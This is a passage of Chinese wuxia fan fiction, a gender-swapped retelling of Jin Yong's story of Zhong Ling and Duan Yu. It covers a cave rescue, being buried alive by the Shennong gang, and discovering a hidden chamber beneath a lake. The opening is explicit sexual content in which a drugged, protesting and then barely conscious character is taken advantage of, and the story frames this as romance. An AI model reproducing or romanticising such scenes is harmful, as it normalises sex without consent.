钟灵不明所以,在她裸露的肩头轻轻一点,段钰仿佛火燎般惊慌地退开。钟灵撩起她的小衣,手贴在她的后背上,段钰使劲去掰她的手,却奈何不得,钟灵在她脊背揉了揉,但闻喘息声愈发急切,稍加思索,抓起她的手看了看,沉声道:“你到底碰了什么东西?” 段钰低吟出声,更觉身体深处阵阵酸软。钟灵掰开她的手,看到拇指上一点胭脂般的红,顿时明白了,四下扫顾,果不其然,看到那鎏金小炉已被打翻在地,药丸滚了一地。 她又惊又怒,在段钰额头一拍:“你是傻子么,来历不明的东西也敢乱摸乱碰?活该找罪受!” 段钰闻言茫然,抬头道:“我不知道,我以为那是你的东西……”她忍耐再三,已是强弩之末,哭喊道:“钟姐姐!你快救救我,我中毒了,就快要死了!” 钟灵两指按在她的唇上,轻轻嘘了一声,搂抱着她道:“别那么大声,你要我怎么帮你?” 说话间她一指按在段钰锁骨上,只是这么稍用力一划,便留下了一道浅浅的痕迹。钟灵听她喘息越重,又触碰到她发烫的肌肤,就像坐在篝火边,火星溅了一身,也觉得燥热起来,语气却异常平静道:“像这样?” 段钰未涉风月,于此更是一窍不通。钟灵含了口清水,缓缓渡到她嘴里,段钰眉心微蹙,喉中唔唔几声。钟灵吻住她不放,唇齿贴合间,慢慢剥了她内衫。段钰两手推拒不得,反被她按住,眼中水汽迷离,似有几分求饶之意。 那枝簪在她发间的茶花落在两人怀中,艳红的花瓣散了段钰一身,钟灵咬着她的耳垂低声道:“还是像这样?” 她一手在段钰腰腹游走,一手捉了她双手手腕,段钰神色难耐,呻吟一声,腰身不自觉随她手上动作律动。钟灵见她如此急切,仍是不紧不慢,从她耳后沿脖颈一路吻下。看那湿衣下若隐若现的身形,钟灵口干舌燥,将她压在干草上,隔着那薄衣轻抚。 掌下肌肤温热柔软,如凝脂一般,稍稍一捂便化了。钟灵鼻端香气萦绕,嘴唇在她肩膀逡巡片刻,轻易便留下了许多痕迹,她却嫌不够,又在段钰锁骨间吮吻流连,看那红痕由浅转深,落花般贴在雪白肌肤上,这才放过了她。 段钰勉强压下这股欲|念,喃喃道:“钟姐姐,你……不,你带我去水边,用冷水……”话还未说完,便重重喘息一声。 钟灵俯身渡了口水与她,段钰迫不及待又贴了上去,仿佛还想再要。钟灵嗓音沙哑道:“没了。”贴着她的唇瓣厮磨了会儿,因她习武的缘故,手心不似段钰这般光滑,那薄茧每每蹭在段钰柔软的肌肤上,便激得她低声啜泣,但唇舌却被钟灵紧紧缠住,纵是有话也说不出口,只变作含糊暧昧的纠缠。 钟灵发觉她双腿夹得甚紧,便单膝轻轻顶开她的腿,从她下颌一路吻到小腹,解了系带为她脱下。此时两人脚边的柴堆已经燃烧殆尽,碳光朦胧,映出段钰眼角水光,钟灵埋头在她□□,段钰双手无力地埋入她的长发间,似拒似迎,双肩微缩,饮泣道:“钟姐姐,够了……” 钟灵含混道:“你叫我什么?” 段钰咬着唇不让呻吟泄露,那快意几乎销魂噬骨,鼻音轻声一哼。钟灵听在耳中只觉得十分撩人,舔了舔嘴唇,在她腿内侧轻轻咬了口,段钰气息紊乱,几乎叫出声,捂住自己的嘴才没让声音外泄。钟灵紧扣她的胯骨,伏在她身上拿开她的手,逼问道:“该叫我什么?” 段钰意乱情迷,汗湿的长发贴在腰腹上,咬着她的手指叫了句钟姐姐。钟灵道:“错了。”钟灵强压着她不动,不过多时,段钰挣扎无用,一连喊了数声钟姐姐皆是无果,终于想了起来,泪光盈盈哭喊道:“主人!” 钟灵声音陡然沙哑起来,手指斜着顶入她的唇间,拨弄了一番笑道:“真是了不得,亏你还能记得我是你的主人。”说着勾起她的双腿向自己面前一拖,从她口中抽出湿漉漉的手覆了上去,见她眉眼间一片绯意,连眼睫都被汗水浸湿了,正是说不出的可怜可爱,当即轻笑一声。手上动作将起,段钰已竭力迎合,钟灵在她嘴上深深一吻,亦是眉心皱起,察觉手上热流涌出,叹道:“你今日喝了这么的水,难道就是为了现在?” 段钰自然不会回答她,钟灵也不甚在意,亲手将她送上高潮,捏着那修长的脖颈在她发间轻嗅。段钰若是敢惊叫闪躲,她便咬住她的肩头不放,段钰受了教训,只能任她施为。 钟灵鼻尖抵着她的耳垂呼了口热气,扳过她的脸亲昵地在眉心落下一吻,同时手上动作不停。段钰已气息奄奄,连半分抗拒的力量都没有了,昏沉之间指尖蜷曲,只顾啜泣。钟灵轻吮她柔软的唇瓣,吞下她口中的呜咽,微笑道:“你确实不该出来行走江湖,这样罢,我带你回谷去,好不好?” 她迷醉般吻着段钰,察觉到段钰微弱地回应,心中情意荡漾,也不管段钰听或听不见,自顾自道:“姓段也没甚么,不让爹爹知道就好。从此以后,你就在谷里陪着我……”她褪下一枚银镯带在段钰手上,越看越爱,辗转亲吻了片刻,道:“你不说话?那我就当你答应了,我们一言为定。” 2. 第 2 章 段钰醒来时手麻脚软,浑身无力。见四周一片漆黑,隐约可闻风声,当即一惊,忙要坐起身,却被人按了回去。 钟灵道:“这就醒了,怎么不再多睡一会儿?”说着将水囊递到段钰嘴边。 段钰头脑昏沉,自然没听出她话中的揶揄之意,也觉得喉中干涩,便道了声谢,接过水囊小口喝水。 钟灵用火折子点燃了几束干柴,石洞中顿时有了些火光,昏昏朦朦照在二人身上。段钰这才发现自己身上衣衫有些凌乱,心中一慌,不由按住胸口疑惑道:“我这是……这是怎么了?” 钟灵淡淡的道:“你说呢?” 下一刻她突然逼近,将半身压在段钰身上。段钰四肢疲乏无力,又被她制住了腰身,慌忙道:“你、你快起来!好好说话!” 指下肌肤细腻柔软,钟灵颇有些爱不释手,食中二指从段钰侧脸滑至耳后,她夹起小巧耳珠揉捏玩弄起来,偷偷一笑,转过头正色道:“若不是我,你早就毒发身亡了。我可是你的救命恩人,你准备怎么谢我?” 除母亲之外,段钰第一次与外人靠得这般近,被钟灵气息一拂面颊,一股淡香随之扑面而来,似有还无,甚是特别,便下意识轻轻嗅闻起来,谁知却被钟灵发现了。钟灵见她幼貂般怯生生地向自己靠了过来,心底一热。又看她到现在也没发现手腕上带着自己的银镯,不禁暗骂了一句呆子,环住她的腰俯在耳边道:“昨夜的事,你还记得多少?” 段钰不解道:“昨夜怎么了?发生了何事?” 钟灵佯怒,沉着脸道:“你不会是故意装傻吧?我后来可是又救了你一次,这你总该记得罢。” 她说话之间手已经撩开段钰衣衫,贴着腰腹钻了进去。段钰啊的一声惊呼,忙去捉她的手,可捉了一只腰腹右侧又是一痒。她应变不即,转眼间就落了下风,任由那一双手在自己内衫下游走,又羞又恼道:“你这是做什么?还不快些放开我!” 钟灵气息微促,嘴唇贴在她颈窝道:“帮你想起来昨夜的事而已,不用谢我。” 段钰只觉一点热意从脖颈边蔓至四肢百骸,心跳的愈发快,好似有一把温火不紧不慢地从发丝烧到脚尖。而随着钟灵的手毫无阻隔地抚摸上腰身,更生出一种难以言喻的刺激感,隐约盼着两人能再亲密些。 她自然不知这是药效未除尽的缘故。那念头一起,立刻将段钰羞得面红耳赤。心底轰然一声,好像有什么东西走骤然塌陷。钟灵喘息声就在耳边,暧昧潮湿,仿佛满山洞尽是回声。段钰情迷意乱,一时欲念丛生,半闭着眼,手无措地在干草上乱摸,无意中碰到什么冰凉柔软之物,夹起来一看,竟然是一瓣被揉的发皱的茶花瓣,刹那间便想起昨夜之事。 偏偏这时钟灵在她唇上落下一吻,段钰心中一震,转过头去看她。钟灵被她这副神情逗笑了,顺势在她鼻尖上亲了亲,刚要开口,洞外忽然传来吱吱的叫声,一道白影随即从洞口闪过,钟灵立刻站了起来。 “方才那是什么东西!” “快看,他的手怎么了?” 脚步声渐近,一人厉声道:“就知道这无量山绝非这般简单!快去请帮主来!” 段钰也是一惊,整衣起身道:“那不是闪电貂吗,出了什么事?” 钟灵低声道:“怕是它在外头闯祸了。”口中发出嘘嘘声,白影立刻奔进洞来,一头扎进段钰的怀里再也不肯出来了,果然是那只闪电貂。 这时外头的人道:“大哥!这有个山洞,那东西躲进洞里了!” “将药草备好,让几个弟兄们带上解毒丸进去瞧瞧,到底是何物在伤人。” 段钰道:“他们被闪电貂咬了?” 钟灵眉头微蹙,低声道:“若是真被咬了,那可就糟糕了。” 未等段钰问清缘故,一片火光映入洞中。这山洞本是无量剑派弟子用于囤柴之处,故而洞不深,一眼便能望到尽头,显见身后无路可走。钟灵目光落在段钰脸上,咬牙道:“这是闪电貂惹出的祸事,与你没什么干系。你去后面藏起来,别让人发现了,我一人去见他们。” 段钰闻言立刻摇头:“不行,我和你一同去。” 钟灵焦急之下口不择言道:“说你是个小呆子果然不错!你知道他们是什么人么?你不会武功,留在我身边又有何用?有闪电貂在身,他们未必敢对我怎么样。我孤身一人想走就走,想留就留,有你在,只会拖累了我!” 说完她便倏然住口,见段钰头低了下去,心中一阵惴惴。片刻后段钰轻声道:“我知道你这么说只是为了引开他们,好让我去逃命……可他们人多势众,我怎么能让你去冒险自己全身而退?” 钟灵一怔,段钰转头看向洞口,双目莹润生辉,抿了抿唇又道:“昨日若不是你救我,只怕我早已经毒发身亡了。我的命是你的,你在哪里我便在哪里。” 说道最后语声几乎微不可闻,钟灵见她雪白脸颊上绯色渐起,连耳根都微微发红,一时心跳怦怦,情意满涨,要不是情形不对,真想抱着段钰捉住那张张合合的嘴吻下去。 钟灵握住她的手道:“方才是我说错了话,你——”对上段钰微翘的唇角,她竟忘了自己要说什么,神差鬼使地在她脸颊上轻轻一抚,低声道:“我才是个呆子。” 段钰没听清,道:“你说甚么?”却听人声传来:“且慢,奉帮主之命,先在这洞外将药草都烧起来,别让那东西再逃了!” 浓烟立刻飘进洞中,钟灵察觉不对,飞快捂住段钰口鼻,她衣中一团白影霎时冲了出去,钟灵大惊失色,却来不及阻拦,只能眼睁睁看着闪电貂奔向洞外。 变故来得太快,钟灵咬了咬牙,心想左右不过一搏,索性拉着段钰穿过浓雾,到洞口时便听几声惨叫传来,伴着数人慌乱的叫喊声,一人厉声道:“当心别让它咬了,快取绳网来,把那东西捉住了打死!” 钟灵怒道:“谁敢打死我的貂儿,我要他偿命!” 夜风吹散浓烟,只见洞外草中数十人倒地哀嚎,不远处十几名精悍汉子围绕着一个瘦小老者。他下颌生了一把山羊胡子,衣着装扮如山中采药人,只是神态太过倨傲。他目光落在二人身上,两指朝地点了点,冷冷道:“你说这东西是你的?” 此人正是神农帮帮主司空玄,钟灵潜行于山中时无意碰见过他一次,故而识得他的面貌,心知此事难以善了,放开段钰的手淡淡道:“帮主大人久居山中,岂能看不出这貂儿的来历。” 司空玄被她一语道破身份,惊疑不定:“你是什么人,这毒物是你的?” 一名帮众立刻道:“帮主,就是这东西咬伤了咱们兄弟!” 钟灵道:“它平日只吃毒蛇,还从未有伤人之举,你说它咬你,怎么不先说说你们到底做了什么事。” 那人顿时一僵,司空玄一瞥那人:“还不快说?” 那人被他眼风一扫,嗫嚅道:“我们奉您老人家的命令到这后山来搜寻,无意中瞧见这白貂在草里趴着,看它一身皮毛不错,便想着抓来剥了皮子孝敬帮主,谁知它是有主的……” 钟灵心中大定,又听那人说到剥皮,立时怒不可遏,道:“你们先动了歪心思,还敢恶人先告状?若是真伤了我的貂儿,你们死不足惜!” 司空玄眉头一皱,道:“你的貂伤了这么多人,还不快将解药交出来。” 钟灵屈指以哨声呼唤闪电貂,久久未见那白影出现,烦躁道:“什么解药,没有!” 司空玄道:“这毒貂既是你养的,如何会没有解药?” 钟灵道:“我说没有就是没有,你想要便自己去配好了!” 司空玄见满地帮众呻叫不断,冷汗浸透了衣裳,便命人取药来配。神农帮以采药制药为长,因常行迹于深山老林,帮中更有应对山中毒蛇蜈蚣蝎子之类灵药。但一一试过之后,这些人身上的症状却丝毫不见好转,反而有加重的趋势,司空玄登时怒道:“小丫头莫要敬酒不吃吃罚酒,交出解药,否则今夜就将你二人活埋了!” 钟灵注视着一地惨状,竟笑了起来,道:“有意思,这貂儿的毒只有我爹能治,你想要解药,那就去找他。” 司空玄行走江湖数十年,头一次碰见这般棘手的毒,沉着脸道:“你老子是谁?我这就派人去将他绑了过来!” 钟灵仿佛听见什么笑话般,哈哈大笑道:“你要绑他过来?好好好,神农帮果然名不虚传,我倒想看看你准备如何将他绑过来。” 司空玄道:“你以为我不敢吗?他叫什么?” 钟灵妙目流转,笑意微敛道:“我怕说了你害怕。” 段钰原本正专心听他们交谈往来,听到此处不由好奇道:“不过是名字而已,为何要害怕?” 钟灵低低一笑:“你不是江湖中人,说了你也不知道。等咱们回谷以后,我再慢慢告诉你。” 司空玄大怒,遥指二人吩咐手下道:“把这两个小丫头绑了过来!” 几名帮众受命而出,钟灵余光忽见草中一道白影出没,口中嘘嘘两声,闪电貂疾奔而来,在那几人之间纵跃游走,便听惨叫传来,数人顷刻间扑倒在地,再也起不来了。 司空玄高声道:“把药草都点起来,取雄黄麝香来烧!” 余下数名帮众立刻分头行动,浓烟滚滚而起,被夜风吹得到处都是。司空玄与另外两人趁势去抓钟灵与段钰,三人合力之下,钟灵自保尚且勉强,又要护着段钰,稍有疏忽,便被司空玄一掌擒住。 听段钰惊呼一声,钟灵回头看去,她已被一名高瘦汉子给捉住了,顿时心急如焚,道:“放开她!” 那人冷笑不语,钟灵情急之下口中又以哨声呼唤闪电貂。一人闻声道:“不好,那毒貂要被她叫来了!”话音方落,白影神出鬼没,自那人身后跃起,在他右臂狠狠一咬,他立刻放开了段钰。闪电貂速度极快,又从另一人腿上蹿到后背,在他肩上一咬,最后朝着司空玄奔去。 司空玄早已见识过这貂的本领,见白影飞来心中大惊,扔下钟灵从怀中急速取出一瓶蛇药,涂抹在掌心手臂。那药气味强烈,本为克制毒蛇而备,闪电貂果然避开,司空玄大喜,几掌接连拍出,闪电貂节节后退,转身逃进了草地。 司空玄虽赶走了闪电貂,放眼四下,帮众大半倒地哀嚎。他抓起钟灵与段钰朝地上一扔,便有帮众上前用粗绳将两人团团缠住,紧紧捆了起来。 司空玄道:“再不交出解药,就等着被活埋罢!”示意左右动手。 帮众们纷纷拿出锄头,转眼间就在地上挖出了一个大坑,将二人拋了进去。段钰与钟灵背贴着背,只觉得今夜所见所闻匪夷所思,说是一场梦也不为过。却听钟灵低声道:“……都是我的错,是我拖累了你。” 泥沙纷纷落下,段钰看见四周都是狰狞的陌生面孔,面色煞白,强自镇定道:“不是你的错,是我自己要跟着你的。”想到若是方才自己依照钟灵安排藏身于洞中,待钟灵引开众人后悄然离去,此时被活埋的便只得钟灵一人了。她心跳得飞快,却不觉得有多怕,固执道:“我不能让你一个人留下。” 钟灵听她口气异常坚定,一颗心不知还能再怎样柔软,道:“现在多了一个你,我也不是一个人了。” 眼看 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司空玄闻言提气吐纳,面色反而愈发难看,阴恻恻道:“这毒貂咬了我两口,若再这么拖下去,恐怕是药石难医了。”言罢打量了土坑中的二人片刻,道:“把右边那个小丫头拉出来。” 众人应了,以短刀割开粗绳,将段钰拉了出来。钟灵急道:“此事由我而起,与她无关,你要寻仇找我就是,用不着为难她!” 司空玄从身边人手中取来一瓶药,对着钟灵道:“若是放你回去,难保你不会一去不复返。我扣你在此,放这丫头去取解药。”他不由分说掰开段钰的嘴,强灌下半瓶药,段钰咳了咳,那粉末入口即化,竟然在舌尖回甘。但看司空玄阴郁的脸色,她心知这不会是什么好东西,道:“你喂我吃了什么药?” 司空玄道:“这是断肠散,七日变会发作,到时你无解药,便会肚肠寸断而亡。你去取这貂毒的解药,七日内返回,我自会为你解毒,这丫头我也放了她。” 钟灵道:“光有解药有何用?想解貂毒,还需我爹爹以独门内功驱毒方能除尽。” 司空玄道:“那就请你爹爹过来救你。” 钟灵道:“我爹爹从不出谷,你想他救人,只怕比登天还难。” 司空玄道:“不出谷,难道他能眼睁睁看着女儿去死?他若是愿意出谷也就罢了,若是不愿意,那就别怪我不客气了!” 钟灵冷笑道:“口气倒是不小,可惜我爹爹有言在先,凡入谷之人非死不可,你想拿命赌一赌,我也不会拦你。” 司空玄不过是出言恫吓她罢了,他身中‘生死符’,受天山童姥所驱使,要查明此间无量剑之事,绝无轻易离去的道理。而生死符若是发作比这貂毒还要痛苦百倍,一想起那滋味便觉胆寒,恨不得一死了之。 思及此处他道:“我说话算数,只要她拿回解药,请来你爹爹,我自会为她解毒,也会放了你。横竖都是一死,大不了咱们同归于尽,又有何妨?” 钟灵咬牙道:“我写封信给爹爹,你别让她去。” 司空玄不为所动,道:“不成,谁知道你还有什么花招?我已经断了一臂,可肩上这颗脑袋却不能再断了。就让她去,想来她也不敢不回来。至于那信,有人代传,又何必要写在纸上呢?” 钟灵目光冰冷,与他对视片刻,终是败下阵来:“让你的人走的远些,别听到了不该听到的东西。” 司空玄忍了忍,命帮众走远。钟灵道:“你怎么不走?” 司空玄恼怒非常,却无办法,只得走开了。 钟灵对段钰道:“你过来。” 段钰走到她身边,屈膝半跪在她面前,低下头道:“你放心,我会把解药带回来,让你爹爹来救你的,你有什么话要我转告的么?” 钟灵身躯大半被埋在土里,勉强动了动肩道:“你手上有我的镯子,回去见到我爹,有了这镯子,想必他不会为难你。不过你要记住我说的话,先去见我妈,告知她此事,再由她去跟我爹说。我爹心思难定,要是知道你姓段,只怕……” 段钰微怔,看手腕上果然有一枚银镯,自己却一直没有发现,惊讶道:“你是什么时候把它戴在我手上的?” 钟灵眉梢微扬,故作诧异道:“你忘了吗,昨天夜里,你……” 段钰面颊微红,忙道:“记得记得,快别说了!” 钟灵看她羞恼,微微一笑,不再说下去,随后又将所居之处告知段钰,段钰连忙点头,钟灵见她神色郑重,脸上灰一块白一块,像只花猫似的,不觉一笑。想起方才二人被绑在一处的情形,心中有什么东西倏然涨了起来,她垂眸看着段钰露出的一截手腕,那里多了一枚银镯,仿佛镣铐,将这人牢牢锁住了。 她目光莫名暗了几分,段钰低头一看,发觉她是在看自己腕上的镯子,心头砰地一跳,窘迫道:“我……我会把它还给你的。” 她用力去脱,想从手腕上褪下来,偏偏卡在了手上,怎么也取不掉。 钟灵很想在那手腕上咬上一口,舔了舔嘴唇道:“就要分开了,你会不会想我?” 二人目光相触,段钰觉得她的眼睛藏着一团火,像是要扑上来舔舐着自己,瞬间红了脸,慌忙中偏过头去,道:“你放心,我一定快去快回。” 钟灵一向急躁,此时却拥有了无穷的耐性,微笑道:“我的命现在在你手中了,现在换你来救我。救命之恩,无以回报,不如……” 段钰只觉得那镯子份量变得格外沉,怕她又说出什么怪话,慌忙起身道:“我要走了!” 钟灵的声音从身后传来,隐约带着笑意:“不如请你到我家去看看那棵茶花罢!” 3. 第 3 章 依钟灵所言,她住在澜沧江西岸一处山谷中,与此地相距不远。不过地势隐秘,道路曲折,若无谷中人指明,外人难以到达。 月上中天,段钰向西行去,心中牢记钟灵说话的话,半点也不敢忘。因忧心钟灵,她走得极快,不敢有一刻松懈。如此走出十余里,绕至无量山主峰后山。其时月色明亮,能清楚瞧见一条白练从莽莽群山间奔流而下,在月华辉光中犹如银带,熠熠生辉。段钰喉中正有些焦渴,听见流水声,顿时大喜过望,小心翼翼穿林而过,来到水畔,先洗净双手,才捧起溪水喝了一口。渴意稍解,又想起自己满身土灰,便撩起衣袖,以掌心沾水洁面。 忽听水边传来脚步声,一人道:“葛师妹,咱们不如在这溪流边暂歇一会儿,再赶路也不迟。” 这人声音颇为熟悉,段钰一时想不起在哪里听到过。 一女子应了,溪边窸窣作响,两人坐了下来。 段钰闻声不敢动作,想悄然离去,但林中满地枯枝落叶,人一落脚便会发出声音。她不敢让那二人发觉自己,只得在树影下躲藏起来,心中盼着这二人尽快离去。 那女子道:“没想到神农帮竟会打上门来,咱们无量剑派与他无仇无怨,他们为何要如此行事?” 男子道:“谁知道是哪一辈的旧仇宿怨,反正都和我们没甚么关系,他们要寻仇也都随他们去。” 女子道:“这条路倒是隐僻,你是怎么知道的?” 男子嘿嘿一笑,道:“师父每隔五天就带众弟子来钻研这无量玉璧上的秘奥,有时候我不耐烦了,就假装要大解,出来乱走散心,这才发现了这条小路。” 段钰才明白这二人原是无量剑派的弟子,却不知他们为何会到此处来。 那女子嗔道:“原来是你偷懒逃学发现的。无怪在你众同门之中,是最没恒心毅力的那个。” 男子笑道:“能败在师妹手下,我甘之如饴。” 女子道:“我知道五年前的剑湖宫比剑是你故意让了我,这才输了比试……” 言罢叹了口气,道:“如今大敌当前,咱们却背师私逃,于道义情理皆无可恕,武林中只怕是难在立足了。索性逃的远些,悄悄躲起来,莫让师父与同门发现才是。” 男子道:“葛师妹,我一点也不后悔。早在无量剑派时我便想,只要能和你厮守终生,让我做什么都行。你放心,神农帮有备而来,咱们师父与同门恐怕难是对手。经此一役,无量剑派也只剩下你我二人活着,只要我们不说,谁又会知道呢?” “但愿如此。”女子微微一叹,又问,“那无量玉璧到底是什么,东西二宗争来争去不就是为了这个。你们在此地住了十年,可瞧出什么端倪来了?” 男子答道:“我听师父说,许多年之前,我太师父做东宗掌门时,常于明月之夜见到玉壁上出现舞剑的人影。有时是男子,有时是女子,有时是男女对剑。这二人剑法精妙绝伦,我太师父生平从未见过。他夜夜来此,只盼着能学几招剑法。但玉壁上的剑影太快太奇,时有时无,看也看不清楚,他这剑也学的颇为艰难。那剑影有时等上一两个月都不见得出现一次,有时又接连几夜都能看见,太师父沉迷于玉壁上的剑影,将其视作神仙指点,终日在此钻研,反将本门剑法荒疏了,也无心指点弟子练剑,后来比剑时败给了西宗。” 女子道:“我师父也说过,我太师父昔年也曾见过那玉壁上有剑影出现。起初尚有二人,后来便只见到一个女子了。她自然欣喜不已,以为是心诚感动上天,引来神仙指点。可玉壁上的影子太过模糊,隔着深谷与剑湖什么也看不清。太师父无飞鸟横波的本领,又不能亲自到那玉璧前看个明白,便日日夜夜在山峰上徘徊,对着玉壁出神,不过半年就病死了。听师父说,太师父死前仍在这山上望着玉壁,似乎心有不甘。” 段钰听的入神,此时月光皎洁,流动的溪水上泛出茫茫微光,那玉壁剑影仿佛就在眼前。 那女子道:“想来与神仙无关,我猜是不是有两位武林高人在玉璧前对剑,影子映在了玉壁上?” 男子道:“那玉璧前是剑湖,湖西是深谷,就算这二人本领通天,能在湖面上对剑,我太师父也未必能看见。如果是在剑湖这一边的山上又说不通,相隔这么远,影子也照不到那玉璧上去。” 女子道:“如今再说这些也没甚么用,还是尽快忘了,日后莫要对人提起。” 男子道:“你说的对,等咱们远走他乡,寻个僻静的地方好好过日子,远胜过在这无量剑派里苦熬。”言罢又是窸窣一阵声响,女子娇喘声传来,随后推拒道:“那快别磨蹭了,趁着月光还亮,看得清路,早些离开这个地方。” 段钰听他们走远,这才松了口气,揉了揉僵硬的手臂走了出来。她刚刚走到月光下,便听有人大喝:“什么人!” 段钰吓了一跳,这才明白那二人并未走远,不知为何去又返还。她慌不择路,立刻拔足急奔,从密林中穿过。身后那二人穷追不舍,男子道:“葛师妹,快抓住这小丫头,剑湖宫比剑之时,她曾在师父身边见过我!” 他这一说段钰猛然想起这人的样貌来,是东宗掌门左子穆的弟子干光豪,难怪她觉得此人声音有些熟悉。段钰心道不妙,她无意撞破了这二人的私情,他们又怎会轻易放过自己?钟灵还被神农帮扣着,等自己拿到解药后回去救她。 这念头一生起,她仿佛又重新生出了一股力量,不顾双腿酸软,加快脚步,奋力向前奔去,也不管干光豪在身后叫喊什么。那树枝密叶从她面颊划过,细密伤痕火辣辣地疼。穿过这片林子,便来到了高坡之上,只听水声如雷,抬眼望去,西北角一条大瀑布直泻而下。段钰听身后脚步声越来越近,向西走去,想在这坡下躲藏起来。没想到走了几步,脚下突然踏空,干光豪叫嚷之声随之传来:“你敢擅闯本派禁地……” 为时已晚,段钰已坠入崖下,随着泥沙碎石一并滑了下去。崖下便是云雾缭绕的深谷,料想这般掉下去只怕要摔成肉泥,段钰心颤胆寒,情急之下双手乱挥,突然下落之势骤然一止,腰带被甚么东西勾住了,回头一看,原来是从崖壁上生出的一棵古松。她身形娇小,松树枝干堪能承载重量,段钰惊魂甫定,不敢去看深谷,小心试探片刻,从松树上慢慢向崖边移去。 在崖壁边缘站稳之后,她见山崖中裂开了一条大缝,勉强可攀援。想起崖上还有干光豪二人在,回去定是不行的了,唯有向下方能躲开。段钰便借着月光从崖缝慢慢爬落,也不知爬了多久,直至手足酸软,衣裳被尖锐岩石割得褴褛不堪,方从陡崖上不断溜滑而下,到达谷底。 脚刚落地,便听见轰隆巨响传来,段钰登时一惊,向前走了几步望去,只见水雾腾空,左边山崖上一条大瀑布倾落而下,水流注入瀑布下方的一座大湖中。那湖水清澈异常,倒映着天中明月,湖心平滑如镜,不受瀑布流水所扰,水中银光闪闪,仿佛天中月沉进了湖底。 月光如昼,那湖畔生着丛丛茶花,开得正好。段钰看了几眼,有两种‘羽衣霓裳’、‘步步生莲’正是家中所有的,不由想到了母亲,若是被她知道了自己的遭遇,不知要有多心痛。回想起自己负气偷偷离家,一路也只是游山玩水,不曾想踏入无量山以来,所历之事皆身不由己,还被人下毒,性命堪忧,心中顿生出几分委屈来。 江湖是什么,武林又是什么,她起先一概不知。大理段氏一阳指天下闻名,可爹爹却说女子不应习武,否则后患无穷;而江湖一入,任是什么豪杰英雄,都难再脱身。 她此刻依稀感觉这江湖并非如自己所想的那般,而爹爹的话似乎也有几分道理。手腕上的银镯触碰到石块滑出的伤痕,段钰又想到了钟灵,如今她的生死正在自己手中,当即心中一凛,大步向湖岸走去。 段钰沿着湖岸走了一圈,发现这深谷四面都是悬崖峭壁,再无其他出路,她不死心,又走了几遍,依然没找到离开的道路。想来除非生出双翼,或化作水中游鱼,不然决计是无法离开的。 她有些心灰意冷,坐在湖边望着那瀑布出神。天光渐亮,谷中鸟声啾啾,空灵缥缈。段钰忽然发现瀑布右侧一片石壁平滑如琉璃,蓦然想起干光豪与他师妹所说的玉璧剑影之事,心中一动。若是真有人在此对剑,影子被月光映在了石壁上,那此地必定有出路。 如此一想精神大振,段钰舀了几捧湖水洗了洗脸,看见水面自己形容狼狈,衣着破烂,活像个小乞儿。此时她也顾不得这些了,又回到那湖岸边细细搜寻起来。日出之后这山谷的面貌清晰展现在她眼前,湖岸花树摇曳,四面青山如屏,湖光山色清透动人,果真是个避世隐居的神仙之处。 段钰仰头细看,猜想自己应当在无量山后,这里的湖水与剑湖相通,故而瀑布终日不绝而湖水不满不溢。她在湖边搜寻了一上午,始终一无所获,兼之连夜奔波,体力不支,腹中饥肠辘辘,不免有些丧气。 她在岸边发现一片青红色的野果,先试着吃了两个,只觉得又酸又涩,但饥饿之下竟也忍了,一口气吃了七八枚,这才觉得好过了许多。填饱肚子之后,她又觉得混身筋骨酸痛,人更是困乏不堪,便伏在花树下的大石上沉沉睡去。 那石头被太阳晒得发热,山谷中瀑布飞流,时有微风拂过,抵消了炎炎暑气。这一觉睡到傍晚,段钰方才醒来,又去摘了几个野果填肚子,坐在湖岸思索起来。 光凭想也想不出什么东西,段钰准备在湖边多绕几圈。她走过草地,看见自己走过的地方草被压的向一侧偏去,突然想到,这深谷中如果真有人出入,那这出口周围必然草木稀疏,难免有人工开凿的痕迹留下。如此一想,她便不拘于在湖边寻找,转向山石隐蔽处查看。 入夜前果真被她找到一块大岩石,石上虽覆满青苔,但拨开之后细看,便可看见累累凿痕,岩石竟凌空置于一块小岩石顶上,出手一推摇摇晃晃。段钰心知这其中大有古怪,当即拨开岩石周围蔓草葛藤与泥沙,再用手推,那岩石缓缓转动起来,开到一半,露出一个三尺来高的洞穴。 洞中昏暗无光,段钰一心想要离开这里,毫不犹豫走进洞去。因离家时曾带了个腰包,里头装了些零碎的东西,其中便有火石与半截蜡烛,此时正好用来照明。段钰举着蜡烛往深处走去,见一段段台向下延伸,显然是人工开凿出的,更是心中大定,顺着台阶往下走去。直到蜡烛快熄灭,才看见一扇门出现在面前。 她握住门环去推门,发觉那门巍然不动,甚是沉重,便用肩膀顶着门推开。一股霉味扑面而来,她向前走了十来步,又见到一扇门,推开门之后,手中的蜡烛叶彻底熄灭了。 这门后竟有光亮透出,段钰看了看四周,这是一座圆形石室,左边似有一窗,透进光亮来。忽见鱼虾从窗外游过,她定睛一看,水波荡漾,极为奇异,这才明白自己身在水底。 没想到这路竟然是通向湖底的,段钰回头看这室内,发现一张石桌上放着一面铜镜,镜旁整整齐齐摆着钗钏之属,镜面已生满铜绿,想来已有多年无人踏足此地。 观四周布置,如女子闺阁一般,石壁上镶满了大大小小的铜镜。段钰又想起那玉璧剑影,舞剑的是一男一女,莫非这二人本是一对侠侣,从前便隐居在这剑湖水底,闲暇时到谷中练剑,影子倒映在玉璧上,这才有了无量剑派中玉璧剑影的传说? 如今这石室积灰遍布,久无人迹,那对侠侣恐怕早已离开了。他们既然能走,说明这水底另有通道出去,段钰在石室内寻找片刻,在西南隅石壁上寻找一道缝隙,用力推开石门,露出一个大洞,又有石阶级级向下,不知通往何处。 段钰顺着石阶走下,约莫十余级后,竟又出现了一扇门。她小心推开一道缝,见有光亮照了进来,便大着胆子推开半扇,忽见一个宫装丽人手持长剑向自己攻来,被吓得险些从门后滚了出来。 过了一会她才发现那女子并非真人,而是一座玉像。那玉像身着一件淡黄色绸衫,云鬓如雾,发间插着玉钏。她双目由黑宝石雕成,望觉生辉,顾盼间莹然有光,灵动至极,仿佛活人一般。任段钰如何转动身子,都觉得玉像目光随移来。而目光一动,玉像神色则随之而变。 这玉像姿容当真如神仙妃子一般,风姿绰约,言语难描一二。段钰生平所见之人中,无有能与其并论者,不觉多看了几眼,隐隐觉得那玉像仿佛是在对着自己微笑,似脉脉含情,心头怦然一动。 不知这玉像是凭空虚构,还是确有真人。段钰看了片刻,转头见东壁上刮磨平整,刻着数十行字。那字笔力遒劲,深入石壁,字迹飘逸非常,如流云飞散。文末另有一行小字:“逍遥子为秋水妹书。洞中无日月,人间至乐也。” 这便与段钰先前所想的一样,这石洞中果然曾有一对侠侣隐居,数十年前玉璧上出现的剑影,想来也是这二人所为。 